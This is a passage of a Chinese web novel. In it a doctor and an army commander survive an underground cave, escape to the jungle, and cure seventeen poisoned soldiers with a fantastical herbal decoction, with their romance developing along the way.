河水瞬间没过她的腰,刺骨的寒意瞬间贯穿全身,让她忍不住打了个哆嗦。 这水,比想象中还要冷! 她咬着牙,抓着绳子,一步步向河心挪去。 岸上,陆向东的心都提到了嗓子眼,手死死攥紧手枪,手心全是冷汗。 河水湍急,姜芷好几次险些被冲走,全靠腰间的绳索才稳住身形。 眼看距离对岸的玄冰草,只剩下最后几米。 突然! 原本平静的水面,“哗啦”一声,破开一个巨大的水花! 一条通体雪白,没有眼睛,长着一口利齿的怪鱼,从水下猛地蹿了出来,张开血盆大口,就朝着姜芷的脖子咬了过去! “小心!” 陆向东的吼声在洞中炸响,下意识就要开枪! 可他很快又反应过来,这是在地下溶洞,枪声可能会引起塌方! 电光石火间,姜芷的反应比他更快! 她好像背后长了眼睛,身子猛地一矮,整个人沉入水中,躲过了怪鱼的致命一击! 同时,她另一只手里一直捏着的一个小纸包,也在入水的瞬间散开。 一股辛辣的味道,迅速在水中漫开。 那条怪鱼极为厌恶这个味道,在空中甩了甩头,一头扎回水里,消失不见。 姜芷从水里冒出头,抹了一把脸上的水,大口喘气,脸色已经有些发白。 陆向东看得心如刀绞,恨不得立刻冲下去把那怪鱼剁成鱼肉酱! 姜芷不敢耽搁,那怪鱼随时可能再次攻击。 她加快速度,终于摸到了对岸的岩壁,一把抓住那丛蓝色的玄冰草,用力一拽! 成功了! 她将玄冰草死死攥在手心,转身就往回撤。 回去的路,比来时更难。 刚才的躲闪和水中缠斗,消耗了她大量的体力。 刺骨的河水,正不断侵蚀着她的体温。 她的眼前,开始阵阵发黑,手脚也变得麻木起来。 “姜芷!坚持住!” 陆向东在岸上急得大吼。 他看着她每挪动一步都摇摇欲坠,真怕她下一秒就会松手,被湍急的暗河吞噬。 姜芷咬破了舌尖,剧痛和血腥味让她恢复了一丝清明。 她死死抓着绳子,拼尽了最后一丝力气,挪回了岸边。 当她的脚踩到实地的瞬间,紧绷的神经彻底松懈下来。 她再也支撑不住,眼前一黑,身体软软地向后倒去。 一双强壮有力的臂膀,及时接住了她。 陆向东不顾腿上的剧痛,半跪在地上,将她紧紧搂在怀里。 她的身体,冷得像一块冰,浑身湿透,嘴唇乌青,怀里却还死死护着那把救命的玄冰草。 “姜芷……姜芷!” 陆向东的声音,抖得不成样子。 他感觉自己的心脏,疼得快要无法呼吸。 姜芷听到他的呼唤,微微睁开眼,把手里的玄冰草塞到他手里。 “……拿去……嚼碎了……敷上……” 说完这句,她就彻底晕了过去。 “姜芷!” 陆向东急的发抖。 他抱着她,感受着她微弱的呼吸和心跳,第一次感到恐惧。 他怕这个才刚刚闯进他生命里的姑娘,就要这么在他怀里消失了? 不! 他绝不允许! 陆向东,你他妈给老子冷静下来! 如果他也乱了方寸,他们两个就真的要一起埋骨在这不见天日的鬼地方! 陆向东小心翼翼地将姜芷平放在一块干燥的岩石上,脱下自己的军装外套,紧紧裹住她。 然后,他抓起那把救命的玄冰草,看也不看,直接塞进嘴里,用尽全力咀嚼。 极致的苦涩与冰寒在口腔炸开,仿佛连灵魂都在打颤。 他强忍着那股寒意,将玄冰草嚼成墨绿色的草泥,一把撕开自己腿上的布条,狠狠地将药泥按在了那片青黑色的伤口上! “滋——” 剧痛与奇痒窜遍全身,伤口处甚至冒起了丝丝白烟。 陆向东疼得浑身肌肉紧绷,额上青筋根根暴起,却死死咬着牙,一声不吭。 一股凉意正从伤口涌入,与体内灼热的毒素猛烈冲撞。 有效! 她的方法,真的有效! 陆向东心中涌起一阵狂喜,可这狂喜很快就被更深的恐惧取代。 姜芷的情况糟糕透顶。 浑身湿透,嘴唇乌青,体温流失得太快。 再这样下去,人要冻死了! 生火? 这洞里连根干柴都找不到! 陆向东脑中闪过所有野外求生的知识,最后,所有方法都被一一否决。 只剩下……最后一个,也是唯一一个办法。 他的目光落在姜芷昏迷的脸上,那张总是带着清冷疏离的脸,此刻脆弱得让他心惊。 陆向东的喉结重重滚动了一下,脸颊罕见地烧了起来。 第45章 想娶我?凭本事来追! 姜芷浑身一僵,身体的本能快过大脑,下意识地就要挣扎。 “别动。” 头顶传来男人沙哑的嗓音,带着初醒的慵懒。 抱着她的手臂,却收得更紧了。 “你刚从水里出来,体温还没完全恢复。” 他的语气理所当然,好像抱着一个赤身的姑娘睡觉,是再正常不过的事情。 姜芷的脸,“腾”地一下,烧得滚烫,连耳根都红透了。 “你……你放开我!” 她的声音又细又弱,带着羞恼。 “不放。” 陆向东闭着眼,耍起了无赖。 “等你身子彻底暖透了,再放。” “陆向东!你这是耍流氓!” “我是救人。” 陆向东终于睁开了眼,直直看着她,目光坦荡又强势。 “你要是觉得我占了你便宜,等出去了,我打报告,娶你。” 姜芷被他这番理直气壮的“流氓理论”给气笑了。 这人,脑子里装的都是铁疙瘩吗? 她懒得跟他掰扯,国医圣手的专业素养让她迅速冷静。 她评估了一下自己的身体状况,体温确实偏低,但已经没有生命危险。 她又侧耳听了听他的心跳和呼吸,平稳有力。 然后,目光落在他那条受伤的腿上。 “腿,怎么样了?” “没事了。”陆向东动了动腿,除了还有些疼,那股要命的麻痹感已经彻底消失。 “你的药,管用。” 姜芷“嗯”了声,心里彻底松了口气。 她这才后知后觉地发现,自己竟然一直枕着他的胳膊。 而他,为了让她睡得舒服,就这么僵硬着手臂,一动不动地抱了她不知多久。 一股复杂的情绪,在她心湖里投下了一颗石子,荡开圈圈涟漪。 洞里很安静,只有发光蘑菇的幽蓝光芒,和远处滴答的水声。 气氛,一时有些微妙和滚烫。 陆向东能感觉到怀里的人不再挣扎,身体也渐渐回暖,他那颗悬着的心,总算落了回去。 他低头,看着她毛茸茸的发顶,鼻尖萦绕着她身上独有的草药香。 他的心,从未有过的平静和满足。 要是能一直这么困在这里,好像……也不错。 就在这个危险的念头冒出来的瞬间。 “咕噜噜……” 一个不合时宜的声音,打破了这片温馨的寂静。 是从姜芷的肚子里发出来的。 姜芷:“……” 陆向东先是一愣,随即,结实的胸膛开始震动,发出低沉的笑声。 “饿了?” 姜芷的脸更红了,她把头埋得更深,恨不得找个地缝钻进去。 我堂堂国医圣手,不要面子的吗?! “想吃什么?”陆向东心情极好地逗她,“红烧肉?大白面馒头?” 姜芷没好气地在他结实的胸口捶了一拳,软绵绵的,没什么力道。 她抬起眼,瞪着他。 “我想吃烤陆团长,行不行?” “行啊。” 陆向东的笑意更深了,他低下头,滚烫的呼吸喷在她的额前,极其暧昧。 “只要你……啃得动。” “少贫嘴。” 姜芷背过身去,理着微乱的头发,耳朵尖红得能滴血,“赶紧想想怎么填饱肚子才是正事。” 陆向东的视线从她纤细的背影上掠过,喉结重重滚动了一下,将自己还算干爽的衬衣和军装外套递了过去。 “穿上。” 姜芷没有回头,伸手接过,只要了外套。 他的衣服对她来说实在太大了,外套几乎能当成一条裙子,下摆垂到膝盖,将她整个人都笼罩了进去。 “想吃鱼吗?” 他一边利落地穿上自己的衬衣,一边开口。 姜芷回头,有些不解。 陆向东指了指那条暗河。 “刚才那条没眼睛的白鱼,我瞧着挺肥。” 姜芷顺着他指的方向看去,微微蹙眉。 “那是‘盲眼蝾螈鱼’,肉质极鲜,但腺体含有一种神经微毒,处理不当,吃了会四肢麻痹,说不出话。” 陆向东刚燃起的心思,瞬间被浇灭。 “那算了。” “不过……”姜芷话锋一转,“只要方法得当,那点毒素,反而能化为大补的药力。” 她唇角微勾。 “陆团长,想不想见识一下,什么叫‘反佐为使,以毒攻毒’?” “想。”他咧嘴笑了,一口大白牙在幽蓝的光线下晃眼,“你负责指挥,我负责动手。” 说干就干。 陆向东在洞里找了一圈,最后从钟乳石上掰下一截最尖锐的石笋,用碎布条缠在手上,做成了一柄简陋的石矛。 他单腿站立在河边,死死盯着水面。 “它对血腥味极度敏感。”姜芷在一旁提醒。 陆向东毫不迟疑,用石矛尖端在自己未愈的伤口上轻轻一抹,带上血腥气,沉入水中搅动。 没过多久,水面果然起了波澜。 一条通体雪白的盲眼蝾螈鱼,循着气味游了过来。 “动手!” 在姜芷话音落下的瞬间,陆向东手中的石矛刺出! “噗嗤!” 石矛精准刺穿鱼身,他手腕用力一挑,那条还在拼命挣扎的怪鱼就被甩到了岸上。 “好身手。” 姜芷赞了一句。 陆向东脸上刚有些得意,腿上伤口因为刚才发力,又开始隐隐作痛。 他闷哼一声,靠着岩壁喘息。 “接下来,怎么处理?” “生火。” 姜芷言简意赅。 这又是个难题,洞里潮湿阴冷,连一根干柴都找不到。 陆向东犯了难。 姜芷不慌不忙,走到一处洞壁前,从上面刮下一些灰白色的粉末,又从自己的药箱里,取出一个小纸包,倒出一些黄色的硫磺粉。 她将两种粉末混合在一起,放在一块干燥的石板上,然后找来一些干燥的苔藓铺在旁边。 “陆团长,借你裤子上的金属纽扣用一下。” 陆向东不明所以,但还是照做,从裤子上扯下一颗铜纽扣递给她。 姜芷用纽扣对着石板上混合好的粉末,用力一划! “刺啦!” 一道火星,从粉末中迸发出来,瞬间点燃了旁边的苔藓! 一小簇温暖的火苗,就在这幽暗的地下洞窟里,成功燃起! 陆向东看得目瞪口呆。 “你……你这是怎么做到的?” 这简直比变戏法还神! “磷粉遇硫磺,再由金属摩擦生热,就能起火。”姜芷轻描淡写地解释,“基本常识。” 陆向东:“……” 他觉得自己这个全团闻名的知识分子,在她面前,像个刚启蒙的学童。 火堆很快旺了起来,驱散了洞里的寒气和阴森。 姜芷熟练地处理那条鱼,剔除毒腺。 随后,她在洞壁一角,找到一种湿滑的墨绿色苔藓,小心翼翼地采摘下来,用石片捣碎成泥。 她将苔藓泥均匀地涂抹在鱼肉表面,再用几片宽大的叶子包裹起来,这才架在火上慢烤。 很快,一股混合着草木清香的浓郁肉香,霸道地占据了整个洞窟。 陆向东的肚子,不合时宜地叫了一声。 他老脸一红。 姜芷递给他一串烤好的鱼肉,鱼肉金黄流油,表面的苔藓泥已经烤成了一层焦脆的深色薄衣。 陆向东咬了一口,外皮焦香酥脆,鱼肉却嫩滑得入口即化,那股奇异的清香在口中炸开,暖流瞬间涌向全身,连腿上的伤痛都舒缓了许多。 “这苔藓,叫‘龙涎苔’。”姜芷也小口吃着,“它本身就是一味解毒的良药,能完美中和鱼肉里的残毒,还能激发其药性,吊住我们的生机。” “真好吃。”陆向东狼吞虎咽。 这是他这辈子,吃过最好吃的鱼。 洞里很安静,只有火堆燃烧的“噼啪”声。 劫后余生,孤男寡女,气氛在温暖的火光下,变得微妙起来。 “姜芷同志。” 陆向东忽然开口,声音有些低。 “嗯?” “等出去了,我就打报告。” 姜芷吃东西的动作停住,抬眼看他。 陆向东的眼神,在跳跃的火光下,显得格外认真。 “打结婚报告。” “这次的事,赖不掉。我占了你便宜,就得对你负责。我陆向东,这辈子,就要你一个。” 姜芷的心脏,重重一跳。 她避开他灼热的视线,低头看着火堆,沉默片刻,忽然笑了。 “陆向东,我不是这个时代逆来顺受的女人。” “我不信什么父母之命,媒妁之言,更不信什么负责。” “我只信我自己的心。” 她抬起头,迎上他错愕的目光, “你要我嫁给你,可以。但理由不能是因为你要负责,而必须是——你想娶,并且,我也想嫁。” 她看着男人呆住的模样,慢悠悠地撕下一块鱼肉,放进嘴里。 “所以,陆团长,想娶我,你得凭真本事来追。” 第46章 这地气,跟某些人一样不正经 火堆噼啪作响。 橘红色的光晕在岩壁上跳跃,将两道影子拉得忽长忽短。 吃饱喝足,陆向东的视线就跟黏在了姜芷身上似的,毫不遮掩。 姜芷被他看得浑身发烫,脸上刚褪去的红晕,又有了卷土重来的趋势。 “陆团长,看够了?” “没。” 陆向东回答得理直气壮。 “一辈子都看不够。” 这人脸皮的厚度,怕是比这洞里的万年岩石还坚固。 姜芷心头一跳,决定不理他这茬。 她站起身,目光扫向幽深的洞窟。 “别贫了,想办法出去才是正事。总不能真在这安家,等着生一窝小兵崽子?” “你要是愿意,”陆向东咧嘴,一口大白牙在火光下晃得人眼晕,“我没意见。” 姜芷送他一个白眼,径直走向那条地下暗河。 “跟着水流走,总有出口。” “我探路。” 陆向东瘸着一条腿,却行动利落,抽出一根烧得正旺的木头当火把,又将剩下的鱼肉用大叶子包好,塞进怀里。 他回头,朝她伸出手。 “走吧,姜医生。” “追你的第一步,总得让你看看我的诚意。” 姜芷指尖蜷了蜷,终究还是将自己的手放了上去。 两人一前一后,顺着暗河的流向走去。 洞里崎岖不平,怪石嶙峋。 陆向东一手高举火把,一手紧紧牵着姜芷,每一步都走得异常沉稳。 他那条刚解了毒的腿,仿佛没有受过伤一样。 “陆团长,追人不是光靠出死力气的。” 姜芷看着他紧绷的背影,忽然开口。 “那靠什么?”陆向东闷声问。 “靠脑子。” 陆向东脚下一个趔趄。 他回头,神情有些郁闷,“姜医生,你在质疑我的专业能力?” “我只是在陈述事实。” 姜芷抬起另一只手,指向前方一片幽幽发光的苔藓。 “那种龙涎苔,在空气流动越快的地方,长势越茂盛。出口在那边,不是河边。” 陆向东顺着她指的方向看去,瞳孔微缩。 果然,远处岩壁上的苔藓,比别处的亮了好几倍。 他一个常年进行顶级野外拉练的团长,观察力竟还不如她。 陆向东的老脸,有些挂不住了。 两人调转方向,果然感觉到了微弱的风。 虽然阴冷,却带着活气。 陆向东高举着火把,另一只手始终没有松开。 男人的体温透过皮肤传来,热得烫人。 姜芷挣了一下。 没挣动。 下一秒,那只大手握得更紧了。 “路不好走。” 陆向东目不斜视,理由找得冠冕堂皇。 姜芷撇了撇嘴,由他去了。 走了一段,前方的路愈发狭窄,最后只剩一道仅容一人侧身通过的石缝。 黑黢黢的,深不见底。 “我先过去。” 陆向东松开她的手,将火把递给她,“你在这等我。” 他侧着身,一点点挤进石缝。 他身材高大,肩膀又宽,这石缝对他来说实在勉强。 衣料摩擦岩石的“刺啦”声,伴随着男人压抑的喘息,在寂静中格外清晰。 姜芷举着火把,橘红的火焰映出他紧绷的侧脸和额角渗出的汗。 她忽然弯了弯唇角。 “陆团长,你这体格,得减肥了。” 石缝里传来男人闷闷的声音。 “回去就减。” 过了好一会儿,陆向东的声音才从石缝对面传来,带着点回音。 “安全!可以过来!” 姜芷应了一声,火把在前,学着他的样子,侧身挤了进去。 粗糙的岩石擦过她的肩膀和后背,有些硌人。 “别怕,我接着你。” 姜芷摸索着往前挪。 突然,脚下一滑! 她惊呼一声,身体瞬间失衡。 一双大手,闪电般抓住了她的胳膊,将她猛地往怀里一带。 “砰!” 姜芷的额头,结结实实地撞上了一堵温热坚硬的“墙”。 “唔……”她捂着额头,疼得眼泪在眼眶里打转。 “没事吧?” 陆向东紧张地问,手已经覆上她撞红的额头,指腹粗糙,动作很轻。 “你说呢?”姜芷没好气地揉着额角,“陆团长,你这胸肌是铁打的?” 陆向东低低地笑了起来,胸腔的震动,透过紧贴的身体传来。 “要不,你再仔细摸摸?” “流氓!” 姜芷一把推开他,脸颊烫得能煎鸡蛋。 两人终于从狭窄的石缝里钻了出来。 这是一个比之前更大的溶洞,空气也更加流通。 “看来我们走对了。”陆向东心情不错。 姜芷却皱起了眉头。 她停下脚步,鼻翼微动。 空气里,除了潮湿的土腥味,还夹杂着一股像是臭鸡蛋的味道。 她的目光落在前方一片湿漉漉的岩壁上。 那里的苔藓,颜色明显比别处暗淡,甚至有些发黄枯萎。 一个可怕的念头,在她脑中闪过。 “站住!”她厉声喝道。 陆向东刚迈出一步,被她这声呵斥惊得立刻停在原地,浑身肌肉瞬间绷紧。 “怎么了?” “把火把灭了!” “立刻!马上!” 陆向东虽不解,却毫不犹豫地将火把狠狠插进旁边的水洼里。 “嗤——” 火光熄灭,洞里瞬间陷入幽蓝的黑暗。 “到底怎么了?”陆向东压低了嗓音,手已摸向腰间,那是他习惯放枪的位置。 “前面有地气。” 姜芷的声音也压得极低。 “就是沼气,能点着,会炸。” 陆向东浑身一僵。 他后背瞬间冒出一层冷汗。 刚才,他只要再往前一步,手里的火把就会引爆整个洞穴! “你怎么……知道的?”他问,语气里带着后怕。 “闻出来的。”姜芷言简意赅,“还有那些苔藓,中了毒。” 陆向东神色凝重:“现在怎么办?” 黑暗中,两人都沉默了。 “只能爬过去。” 过了许久,姜芷开口。 “沼气比空气轻,会往上飘。我们贴着地面,匍匐前进。” “我来探路。”陆向东想也不想。 “你?”姜芷瞥了他一眼,“你那条腿不要了?” “那也比你行!”他梗着脖子。 “算了,别争了。”姜芷叹了口气,“你在前面,力气大。万一我掉队了,你还能拉我一把。” 陆向东摸索着趴在地上,冰冷的地面让他打了个激灵。 “跟紧了。” 两人一前一后,像壁虎一样,贴着地面,朝着那片致命的区域缓慢爬行。 那股臭鸡蛋的味道,越来越浓。 爬着爬着,前面的陆向东忽然停了下来。 “前面……好像是个斜坡。” 姜芷往前凑了凑,伸手一摸,地面果然开始向下倾斜。 忽然,她手上一滑,整个人控制不住地朝下滑去! “啊!” “别怕!” 陆向东反应快到极致,反手一捞,抓住她的手腕。 可那股冲力太大,他也稳不住身形,带着姜芷一起,顺着那个黑漆漆的斜坡滚了下去! 天旋地转。 耳边全是风声和碎石滚落的动静。 她下意识地抱住头。 预想中的剧痛没有传来。 她又一次撞进了那个坚实温暖的怀抱。 男人沉重的喘息,就在她耳畔。 不知滚了多久,终于停了下来。 姜芷晕头转向地睁开眼,发现自己被陆向东死死护在怀里,而他的后背,则重重地砸在地上。 “陆向东?你怎么样?”她急忙从他身上爬起来。 第47章 团长,你在山洞里把姜医生怎么了? 两人绕过一片犬牙交错的钟乳石柱,一抹刺眼白光,闯入视野。 在黑暗里待得太久,眼睛像被针扎了一下。 陆向东下意识抬起手臂,挡在姜芷面前。 “别急着出去,先让眼睛适应。” 姜芷“嗯”了一声,纤长的睫毛轻颤着合上,再缓缓睁开。 视野里那片白茫茫的光晕,逐渐勾勒出清晰的轮廓。 那是一个半人高的洞口,被浓绿的藤蔓遮掩了大半。 外面是真正的原始丛林。 参天大树的树冠遮蔽了天空,阳光撕开缝隙,投下破碎的金斑。 鸟鸣清越,虫嘶阵阵。 活着的感觉,真好。 陆向东率先钻出洞口,确认安全后,他转过身,向洞里的姜芷伸出手。 “来,我拉你。” 姜芷借着他的力,轻巧地爬了出来。 双脚踏在地上,呼吸着林间清新的空气,她舒坦地伸了个懒腰,浑身的骨头都发出细微的“咔哒”声。 劫后余生,浑身轻松。 “好了,陆团长。” 姜芷拍掉手上的浮土,环顾这片一望无际的陌生丛林,眼神平静地看向他。 “现在,开始你的表演了。” 陆向东正在辨认方向,闻言一愣,“表演什么?” “表演你的‘诚意’啊。” 姜芷指尖点了点这片一望无际的原始森林,语气理所当然。 “总不能让我一个手无缚鸡之力的弱女子,在这种地方给你带路吧?” 陆向东:“……” 他堂堂猛虎团团长,竟然被一个小丫头给将军了。 “跟我走,保证把你安全带出去。” 说完,他大步流星地走在前面,用身体撞开挡路的枝叶,用军靴踩断带刺的藤蔓,硬生生开出一条路。 那条受伤的腿,走起路来还有些微跛,背影却依旧挺拔。 姜芷跟在他身后,看着他紧绷的背影,眼底的笑意浓了几分。 这男人,有时还真有点可爱。 两人一前一后地走着,气氛比在山洞里时轻松了不少。 陆向东虽然嘴上不说,行动上处处透着细心。 他会提前弄掉带刺的藤蔓,会把可能会绊倒人的树根踩平。 路过一片野果林时,他停下来,指着一串红得妖异的果子,难得主动开口。 “这个,能吃吗?” “蛇莓,有微毒,吃了会拉肚子。” 姜芷扫了一眼,摇了摇头。 “那这个呢?” 他又指向另一棵树上黄澄澄的果子。 “木姜子,可以吃,但是味道又酸又麻,一般是用来当调料的。” 陆向东不死心,又指了好几种。 最后,姜芷实在受不了他这“神农尝百草”的好奇心,没好气地白了他一眼。 “陆团长,我劝你别乱指了。这山里大部分能直接吃的果子,早就被猴子摘光了,剩下的,不是有毒就是难吃。你想填饱肚子,还不如指望早点走出去。” 陆向东摸了摸鼻子,讪讪收回手。 他就是想找个话题跟她多说几句话而已。 就在这时。 “沙沙……沙沙……” 一阵轻微的异响,突然从前方不远处的灌木丛里传来。 声音很轻,像是有什么东西在快速穿行。 两人脸上的轻松神情瞬间褪去。 陆向东几乎是本能反应,一把将姜芷拽到自己身后,全身肌肉瞬间绷紧,盯着那片晃动的灌木丛。 “别出声。”他压低了嗓音,进入战斗状态。 姜芷被他护在身后,没有慌乱,而是将手伸进了自己的帆布药箱,指尖扣住了几根银针。 两人都屏住了呼吸。 那“沙沙”声越来越近。 灌木丛晃动得愈发厉害。 一个黑影,猛地从里面蹿了出来! “团长!” 一声带着哭腔的惊喜呼喊,打破了林间的寂静。 只见一个穿着作训服,脸上画着油彩,浑身沾满泥土和草叶的年轻士兵,正踉踉跄跄地朝他们跑来,满脸激动。 是张虎! 陆向东紧绷的身体,这才松懈下来。 “张虎?” “团长!真的是你!还有姜医生!”张虎跑到跟前,看见两人都安然无恙,激动得眼圈都红了,“我们……我们找了你们一天一夜了!还以为……还以为你们……” 他话没说完,更多的士兵从四面八方涌了出来,将两人团团围住。 “团长!” “找到团长了!” “太好了!团长和姜医生都没事!” 战士们一个个激动不已,看到自家主心骨还活着,那股子从心底涌出的喜悦,让这片丛林都变得热闹起来。 陆向东看着自己手下这帮灰头土脸的兵,心里也是一阵暖流划过。 他拍了拍张虎的肩膀,沉声问道:“其他人呢?情况怎么样了?” “报告团长!加强连的兄弟们都没事,多亏姜医生提醒及时。”张虎挺直了腰板,大声汇报道。 陆向东闻言,也是彻底放了心来。大手一挥,恢复了团长的威严。 “行,赶紧带路吧,十七个兄弟还等着救命。” “是!” 张虎应道。 回去的路上,战士们簇拥着两人,气氛轻松很多。 张虎胆子又大了起来,他凑到陆向东身边,挠了挠头,满脸好奇地问出了一个所有人都想问的问题。 “团长,你跟姜医生在山洞里……被困了一天一夜,都干了些啥呀?” 这个问题一出,周围瞬间安静了下来。 几十双燃烧着熊熊八卦之火的眼睛,齐刷刷地在姜芷和陆向东之间来回扫射。 孤男寡女,山洞,一天一夜…… 这几个词组合在一起,简直能脑补出一部荡气回肠的英雄美人传。 姜芷的表情没什么变化,依旧清冷。 陆向东的脸色,迅速涨红,连脖子根都红透了。 他狠狠瞪了那张虎一眼。 张虎吓得一哆嗦,脖子一缩,这才意识到自己问了什么惊天动地的问题。 完了。 团长这眼神,是想把他当场给活埋了啊! 就在气氛尴尬到极点时,姜芷慢悠悠开口了。 “你们陆团长在山洞里……” 她故意拉长了音调,成功勾起了所有人的好奇心。 “……很辛苦。” 大家屏住呼吸,竖起了耳朵。 “毕竟,又是探路,又是捕鱼,最后还从斜坡上滚下来,心甘情愿……当了回肉垫。” 什么肉垫?! 这两个字,带着无穷的想象空间,在所有士兵的脑子里炸开了花! “噗——” 不知道是谁,第一个没忍住,笑出了声。 紧接着,此起彼伏的憋笑声,从队伍里冒了出来。 一个个膀大腰圆的汉子,想笑又不敢笑,脸都憋成了紫色。 他们看着自家团长那副想杀人又得硬撑着的模样,心里乐开了花。 天不怕地不怕的陆阎王,居然也有今天! “笑什么笑!” 陆向东感觉自己的脸皮都要烧穿了,中气十足地吼了一声。 “牙很白吗?!” “全体都有!” “目标营地!负重二十公斤!武装越野五公里!跑不回去的,今天晚上都别想吃饭!” “啊?!” “团长,别啊!” 哀嚎声四起。 “还敢还嘴?再加五公里!” 陆向东黑着脸,杀气腾腾。 这下,没人敢再多说一个字。 几十号士兵苦着脸,朝着营地方向跑去,跑远了还能听到张虎的鬼哭狼嚎。 “团长公报私仇啊——!” 瞬间,林子里又恢复了安静。 只剩下姜芷和陆向东两个人。 陆向东看着姜芷那副云淡风轻的模样,又气又无奈,憋了半天,才闷声闷气地挤出一句。 “你就看我笑话。” “没有。”姜芷一本正经摇头,“我只是在陈述事实。” 陆向东:“……” 信你个鬼! 这丫头,绝对是故意的! …… 当军用卡车开回营地时,天色已经擦黑。 整个营地,死气沉沉。 秦振国背着手,在院子里来回踱步,满脸焦灼。 看到陆向东和姜芷从车上跳下来,他大步迎了上来。 “你们可算回来了!怎么样?药采到了吗?” 姜芷手里提着那个半旧的帆布药箱,点了下头。 “采到了。” 秦振国脸色大喜,悬了一天一夜的心,总算落了回去。 他领着两人,大步流星地走向隔离小楼。 小楼外的临时指挥棚里,空气压抑得像块铁。 第48章 阎王手里抢回十七条命 陈建军清了清嗓子,艰涩地开口:“姜……姜医生,需要我们做什么,尽管吩咐。” 这一声“医生”,叫得他脸皮发烫。 姜芷却像没看见他们扭捏的姿态,径直打开了自己的帆布药箱。 她伸手进去,捧出来的,是一截被布细心包裹的根茎。 腐尸花王的根茎通体暗紫,盘踞着诡异的螺旋纹路,离土许久,却依旧散发着一股妖异的生命力。 一股若有若无的异香,在空气中弥漫开来。 “找一口最大的行军锅,用烈酒和粗砂,里里外外,洗刷七遍。” “记住,不许沾半点油腥。” “是!” 张虎像是听到了圣旨,吼了一嗓子,立刻带着几个战士冲了出去。 抬锅的抬锅,找砂的找砂,动作麻利,没有半分迟疑。 陈建军的求知欲压过了尴尬,他凑上前,虚心请教:“姜医生,用酒精消毒我能理解,可为什么要用砂子,还非要七遍?” “腐尸花王,性属阴寒,霸道至极。” 姜芷瞥了他一眼,算是给了他几分薄面。 “油腥污秽,损其药性。” “至于七遍,七为阳数,可破阴邪。你们讲究无菌,我们中医,讲究阴阳。” 陈建军听得云里雾里,却感觉一扇新世界的大门正在眼前轰然洞开。 他怔在原地,嘴里反复念叨着“阴阳”,若有所思。 很快,一口锃亮得能照出人影的大锅被架了起来。 “烈酒,倒进去一半。” “把这根茎,切片。” 姜芷将腐尸花王递给炊事班请来的刀神老王,又补充了一句。 “要薄如蝉翼,不多不少,正好九九八十一片。” 这要求一出,连掌勺几十年的老王都变了脸色。 他深吸一口气,浑身气势一变,眼神变得专注。 寒光一闪。 众人眼前只剩下一片令人眼花缭乱的刀光残影。 刷刷刷—— 一片片薄得几乎透明的紫色根茎,如蝶翼,如雪花,精准无误地飘入锅中。 不多不少,整整八十一片。 陈建军的眼珠子都快瞪出眼眶,他推了推眼镜,再次发问,语气已经带上了敬畏。 “姜医生,这次……为何是九九八十一片?” “九为阳数之极。” 姜芷的目光始终锁定在锅底的火候上,头也未抬。 “九九归一,以至阳化至阴,重塑生机。” 陈建军彻底闭嘴了。 他默默掏出个小本本,将姜芷这句玄之又玄的话,记了下来。 他身后的军医们见状,也有样学样,纷纷掏出纸笔。 “文火慢熬。” “熬到药汤从墨绿,转为赤红,再无半点腥臭,只余草木清香,方可。” 姜芷交代完最后一句,就在一旁矮凳上坐下,闭目养神。 救人是精细活,更耗费心神,她也需要休息。 陆向东自然而然地搬了个凳子,坐在她身旁,将所有试图靠近的人,都隔绝在外。 时间一分一秒地过去。 整个营地,安静得只剩下柴火燃烧的噼啪声,和锅里药汤“咕嘟咕嘟”的翻滚声。 所有人都屏住了呼吸,死死盯着那口大锅。 锅里的药汤,颜色开始慢慢变化。 从一开始的墨绿,渐渐变成了深绿,又慢慢泛起了诡异的黄色…… 那股浓郁的腥臭味,也逐渐被一种奇异的清香取代。 终于! 在所有人的注视下,最后一丝杂色褪去。 整锅药汤,呈现出一种瑰丽通透的赤红色! 一股无法形容的草木清香,夹杂着酒气,瞬间传遍了整个营地! 光是闻着这味道,就让人觉得五脏六腑都被洗涤了一遍,连日来的疲惫都消散了不少。 “好了。” 姜芷睁开眼吩咐。 “每人一碗,立刻喂下去。” “是!” 早已准备好的战士们,立刻上前,小心翼翼地将滚烫的药汤分装在十七个搪瓷大碗里。 一群人,端着药,浩浩荡荡地冲进了隔离小楼。 喂药的过程并不顺利,战士们依旧神志不清,牙关紧咬,药汁顺着嘴角往外流。 “捏住鼻子,从嘴角灌!” 陆向东沉声指挥。 众人手忙脚乱,总算把药都灌了下去。 做完这一切,所有人都退了出来,再次在棚子下,陷入了更磨人的等待。 张虎紧张得手心全是汗,在原地转来转去。 “姜医生……这……这真的能行吗?” 姜芷靠在椅背上,眼皮都没抬一下。 “等着。” 突然! “咳!咳咳咳——!” 隔离小楼里,猛地传来一阵撕心裂肺的剧烈咳嗽声! 陈建军脸色一变! “不好!是呛咳!快!准备吸痰器!” 他刚要往里冲,就被姜芷一把拦住。 “别动。” “噗——” 又是一声沉闷的异响。 紧接着,一个战士从楼里跑了出来,满脸狂喜,声音都在抖。 “团长!吐了!王小虎他吐了!” “吐了一大口黑血!那血又黑又臭,跟墨汁一样!” 话音刚落。 “咳咳……” “噗……” 此起彼伏的咳嗽声和呕吐声,从隔离小楼里接二连三地传了出来! 姜芷缓缓站起身,夜风吹起她的衣角。 “毒血排出,经络已通。” “人,活了。” 轰——! 整个营地,瞬间爆发出雷鸣般的欢呼声! “活了!活了!” “太好了!兄弟们终于活过了!” “姜医生真神!” 无数的战士激动得又哭又笑,狠狠拥抱在一起,用拳头擂着对方的后背! 秦振国一双虎目通红,他快步走到姜芷面前,激动得嘴唇都在哆嗦,郑重地敬了一个标准的军礼! “姜芷同志!我代表西南军区,代表十七个战士,和他们背后的十七个家庭!谢谢你!” 姜芷坦然受了他这一礼。 医者仁心,救死扶伤,她受得起。 陆向东看着她,眼神里全是骄傲与温柔。 他的姑娘,总是能在所有人都绝望的时候,创造神迹。 陈建军和一众军医,也快步走了过来。 他们没有再问东问西,而是齐刷刷地站直了身体。 陈建军上前一步,对着姜芷,深深鞠了一躬。 “姜医生,我为我们之前的无知与傲慢,向您郑重道歉。” 面对众人复杂的鞠躬,姜芷只侧身避开,坦然承受了那份敬意,却未全受那份歉意。 她神色依旧清冷,语气里听不出喜怒。 “我救人,是医者的本分。” “你们道歉,是你们的本分。” “两件事,两不相欠。” 她扫了一眼那些拿着小本本,眼神灼热的军医们,淡淡地补充了一句。 “医术是用来救人的,不是用来争高下的。” “诸位有这个功夫记笔记,不如回去多想想。” “为什么教科书上明令禁止的东西,能救人。” “为什么教科书上没有记载的东西,它却真实存在。” 陈建军等一众医生,被这几句话问得脸上火辣辣地疼,羞愧得几乎抬不起头。 是啊。 